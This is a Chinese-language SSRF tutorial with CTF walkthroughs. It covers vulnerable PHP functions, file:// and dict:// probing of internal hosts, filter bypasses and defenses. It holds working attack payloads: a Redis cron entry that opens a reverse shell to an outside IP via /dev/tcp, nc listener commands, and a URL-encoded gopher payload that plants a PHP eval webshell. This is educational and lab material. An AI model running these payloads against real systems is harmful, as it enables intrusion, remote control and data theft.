SSRF

服务器端请求伪造

客户端请求&服务器端请求

  1. 客户端请求

由客户端设备(个人计算机、电脑手机等)或软件(浏览器、APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入url或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源

  1. 服务器端请求

服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。

介绍

服务器端请求伪造(Server–side Request Forgery)简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。

原因

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。

危害

  1. 窃取数据:攻击者可以伪造请求以访问服务器内部网络或云环境中的其他服务或资源,以窃取敏感数据。
  2. 攻击第三方系统:攻击者可以伪造请求以攻击第三方系统,例如访问其他组织的敏感数据或执行拒绝服务攻击DDOS。
  3. 内部端口扫描:攻击者可以伪造请求以扫描服务器内部端口和服务,以寻找其他可能的漏洞。
  4. 获取指纹信息:通过获取web应用可达服务器服务的指纹信息。

请求内网敏感数据

场景

SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感的内部资源。

文件上传功能:Web应用程序通常允许用户上传文件,攻击者可以上传包含恶意URL的文件,以触发SSRF漏洞。

图片处理功能:Web应用程序通常包含图片处理功能,攻击者可以在图片URL中注入恶意的URL,以触发SSRF漏洞。

URL重定向功能:Web应用程序可能包含URL重定向功能,攻击者可以在重定向URL中注入恶意的URL,以触发SSRF漏洞。

API调用:Web应用程序可能会使用API与其他服务进行交互,攻击者可以在API请求中注入恶意的URL,以触发SSRF漏洞。

漏洞函数

php:

这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。

java:

仅支持 HTTP/HTTPS 协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request 类
支持 sun.net.www.protocol 所有协议的类:URLConnection 类、URL 类、ImageIO 类

curl_exec

格式:curl_exec(resource $ch)

作用:执行cURL会话

新建php文件

<?php
// 创建一个cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.baidu.com/");
// 设置不包括响应头信息,只返回正文内容
curl_setopt($ch, CURLOPT_HEADER, 0);
// 将SSL证书验证设置为false,即不验证对等证书
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// 将SSL主机验证设置为FALSE,即不验证主机
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

当我们访问这个网页时,会跳转到http://www.baidu.com

file_get_contents

格式:file_get_contents(path,include_path,context,start,max_length)

作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。

<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.txt';
file_put_contents($filename,$content);
echo$_POST['url'];
$img="<img src=\"".$filename."\"/>";

}
echo$img;
?>

在该目录下创建一个images文件夹,用于接收生成的文件

自行传入url参数,之后在images文件夹下,可以看到生成的文件,文件内容与我们传入的参数相关

fsockopen

<?php
$fp = fsockopen("192.168.81.236", 9998, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: 192.168.81.236\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

更改ip信息

开启本机http服务

访问php文件

该电脑的文件目录能够显示出来

判断是否存在SSRF

在无回显(Blid)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。

DNSLog:是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。

攻击者可以在SSRF漏洞中注入带有DNSLog服务地址的URL,并将该URL发送到目标服务器上,当目标服务器对该URL进行请求时,DNSLog服务将接收到请求并记录在日志中。攻击者可以定期查看DNSLog的日志,以确认目标服务器是否对该URL进行了请求。

无回显SSRF,使用DNSlog平台来测试有没有SSRF漏洞

dnslog平台有记录,说明存在ssrf漏洞

漏洞利用

网络信息

靶场有三个容器

读取敏感文件

file协议读取敏感文件

格式:file://filepath(通常file后面///是因为最后的/表示根目录)

读取的是目标服务器本地的文件,无法读取其他服务器的文件

访问的是ssrf-web这个容器的80端口

/etc/passwd

/etc/hosts

hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。可以用文本文件打开!当用户在浏览器中输入一个网址时,系统会首先自动从hosts文件中寻找对应的IP地址,一旦找到,浏览器会立即打开对应网页,如果没有找到,则浏览器会将网址提交DNS服务器进行IP地址解析。简单来说就是负责地址与域名快速解析的文件,读取文件可以得到内网所在网段。

探测同c段其他主机

由于读取/etc/hosts文件可以得到所在的内网ip,我们可以对同C段其他主机进行爆破

ip为172.20.0.4,我们对4进行爆破(0-255)

看响应时间,时间短的即为可能存在的主机

.1和.254一般不是主机,一般是网关

172.20.0.2

172.20.0.3

172.20.0.4

探测内网服务-dict

格式:dict://

作用:dict是一个在线网络字典协议,用来架设一个字典服务。在SSRF中,常常用来探测内网的应用信息

我们使用dict可以探测端口是否开放

探测.3的主机是否开放22端口:开放了; 6379端口:开放了

172.20.0.2 - (本机

172.20.0.3 - 22 6379

172.20.0.4 - 6379

通过dict://协议攻击内网Redis

Redis是一个key-value存储系统,是跨平台的非关系型数据库。(键值对)

Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redisl以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行redis的用户是root用户,攻击者可以通过写定时任务的方式进行反弹shell。

测试redis是否存在未授权漏洞

dict://ip:port/info

存在

存在redis未授权之后可以

写定时任务

定时任务是通过crond来完成,crond是一个linux下的定时执行工具。不同的系统定时任务保存的目录不同,centos的定时任务保存在/var/spool/cron/目录下,ubuntu的定时任务保存在/var/spool/cron/crontabs/.目录下.

  1. 可以根据服务器是否存在以下文件判断服务器信息
# Centos
/etc/redhat-release
# Ubuntu
/etc/lsb-release

  1. 在攻击主机(如果你的攻击目标是本地靶场,那攻击机可以使用kali;如果攻击目标是公网服务器,则接收反弹shell的机器也需要是公网服务器)监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell
nc -lvnp 1234
  1. 在存在漏洞的网站依次执行
# 清空数据库(慎用)
dict://127.0.0.1:6379/flushall
# 设置工作目录
dict://127.0.0.1:6379/config set dir /var/spool/cron/
# 设置保存的文件名
dict://127.0.0.1:6379/config set dbfilename root
# 设置变量x,如果你是在本地虚拟机kali监听,则下方的ip也需要修改为kali
dict://127.0.0.1:6379/set x "\n*/2 * * * * bash -i &> /dev/tcp/122.114.225.41/1234 0>&1\n"
# 保存
dict://127.0.0.1:6379/save

//127.0.0.1改成6379端口开放的那个主机
  1. 攻击成功后攻击者监听的端口会接收到反弹回来的shell

写ssh公钥

SSH密钥对可以让您方便的登录到SSH服务器,而无需输入密码。SSH密钥对总是成双出现的,一把公钥,一把私钥。公钥可以自由的放在您所需要连接的SSH服务器上,而私钥必须的保管好。

公钥登录,很多时候也说public key认证,公钥登录的原理:首先用户将自己的公钥存储在需要登录的远程机器上面,然后登录的时候,远程主机会向用户发送一段随机字符串,接着用户使用自己的私钥加密字符串,并发给远程主机。最后,远程主机使用存储的公钥进行解密,若解密成功,则说明用户可信,准许登录,不再提示输入密码。

1、服务端会将客户端发的公钥写入到/.ssh/authorized_keys文件末尾。(为当前用户根目录)

2、公钥和私钥在客户端(登录端)生成

攻击流程:

  1. 探测是否存在漏洞,比如说读取文件

  1. 探测端口,看22端口是否开放,6379端口是否开放
  2. 测试redis是否存在未授权访问漏洞
  3. 通过redis写ssh公钥,首先攻击方生成一对ssh key,默认情况下,生成后在用户的家目录下的.ssh目录下
ssh-keygen -t rsa

防御

服务器请求来源于业务本身的正常功能,比如图片的请求等,有的人动了坏心思,服务器端请求伪造漏洞。为了防御SSRF,目前主要有以下几个手段:

  1. 白名单:设置用户提交的url白名单,比如,用户在访问www.example.com时,提交的url只允许是来自example.com的
  2. 协议限制:限制只能使用http、https请求,可以避免如file://、ftp://等情况带来的文件泄露;
  3. 过滤返回信息:针对服务端返回的信息进行过滤,比如服务本身是去获取jpg格式的图片,那么返回其他的内容,就是不符合标准的,可以进行报错处理;
  4. 统一错误信息:只显示固定几种错误信息,使SSRF事实上成为无回显类型。

SSRF无回显解决方案

跟RCE无回显道理是一样的,两种解决方法:

反向连接(一般SSRF都是用这个反向连接方式,因为SSRF无法写文件):让疑似存在RCE(SSRF)的目标请求外部一个网站,dnslog或者自己用vps python启用一个web服务,当dnslog或者自启用网站能接收到请求信息时,不就代表目标存在RCE(SSRF))

正向连接(一般RCE执行可以用这个方式, SSRF得用第一种方式)

写个文件在对方网站目录下,然后再去访问网站目录是否存在这个文件就能判断目标是否执行了RCE命令

让目标用nc起个监听,我们主动连过去。

SSRF漏洞挖掘思路

黑盒探针:业务功能点

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

URL关键参数:

  1. share
  2. wap
  3. url
  4. link
  5. src
  6. source
  7. target
  8. u
  9. display
  10. sourceURl
  11. imageURL
  12. domain

白盒分析:主要是看文件读取,加载,数据操作类的函数

SSRF协议利用

http:// Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

http:// (常用)

Web常见访问,如http://127.0.0.1、http://127.0.0.1:8080、http://192.168.1.1、http://192.168.1.2等

file:/// (常用)

从文件系统中获取文件内容,如,file:///etc/passwd、file:///D:/1.txt

dict:// (常用)

字典服务器协议,访问字典资源,如,dict:///ip:6379/info

sftp://

SSH文件传输协议或安全文件传输协议

ldap://

轻量级目录访问协议

tftp://

简单文件传输协议

gopher:// (常用)

分布式文档传递服务,可使用gopherus生成payload(gopherus要使用python2)
有部分服务是http协议不支持通讯的,那么可以用gopher来进行通讯(如mysql,redis服务等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

SSRF绕过方式

情况1:限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

情况2:限制请求IP不为内网地址

当不允许ip为内网地址时:

(1)采取短网址绕过

(2)采取域名解析

(3)采取进制转换

(4)采取3XX重定向

白盒CTF-绕过&伪协议&审计点

351-无过滤

分析:

<?php
error_reporting(0);//报错不显示
highlight_file(__FILE__);//高亮
$url=$_POST['url'];//POST传参url
$ch=curl_init($url);//curl_init 初始化一个 cURL 会话,并设置目标 URL 为 $url
curl_setopt($ch, CURLOPT_HEADER, 0);//设置 cURL 选项,表示请求返回的数据中不包含头部信息。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置 cURL 选项,表示将请求结果返回为字符串,而不是直接输出。
$result=curl_exec($ch);//执行 cURL 请求并将返回内容存储到 $result
curl_close($ch);//关闭cUrl
echo ($result);
?>

没有任何过滤,直接尝试获取本地文件

352-353-ip地址过滤(IP地址进制转换)

要求地址中必须含有http或https,且不能含有localhost和127.0.0

绕过:

ip地址进制转换

十六进制和十进制都可以(十六进制前要加0x)

还有一种特殊的省略模式

127.0.0.1写成127.1

用CIDR绕过localhost

url=http://127.127.127.127/flag.php

还有很多方式

url=http://0/flag.php

url=http://0.0.0.0/flag.php

354-域名解析ip绕过

localhost 1 0 都被过滤

域名解析ip绕过

配置一个域名解析为127.0.0.1

url=http://test.hhhan.club/flag.php

355-356-长度限制IP绕过

对于输入的ip地址有长度限制,要<=5

356为长度<=3,payload:url=http://0/flag.php

357-重定向解析绕过

如果输入的域名解析结果为127.0.0.1,就会被过滤

重定向绕过

在VPS下创建一个文件

<?php
header("Location:http://127.0.0.1/flag.php");
其作用是:当执行该脚本时,会直接跳转到对应的网址,即Location: 后面的网址。

再去访问这个文件

358-匹配但不影响写法绕过

url中必须包含http: / ctf show 字样,url的内容才会被执行输出

url=http://ctf.@127.0.0.1/flag.php#show

#注释掉后面的内容

ctf.@对url没有影响

gopher协议打

359-mysql

前提条件是无密码的mysql

登录的数据包:

使用gopherus生成payload

将payload在进行一次url编码

发送

访问x.php,木马被写入

360-redis

使用gopherus

生成的文件为当前目录下的shell.php

同样,gopher://127.0.0.1:6379/_后面的内容也要进行url编码

payload:

post:url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527pass%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

命令执行

黑盒WEB-业务功能&URL关键字

黑盒探针:

SRC(文件导出/格式转换 SSRF)

iframe 标签

<iframe src="http://6p5vvu.dnslog.cn">
<iframe src="6p5vvu.dnslog.cn">
<iframe>标签是干嘛的?

SSRF和文件包含黑盒如何区分?

1.分析参数关键字(url字样大概率SSRF,file字样大概率文件包含)
2.看参数值地址(文件包含一般只允许包含本地,看能不能包含远程地址)
3.分析页面响应

多方面多角度分析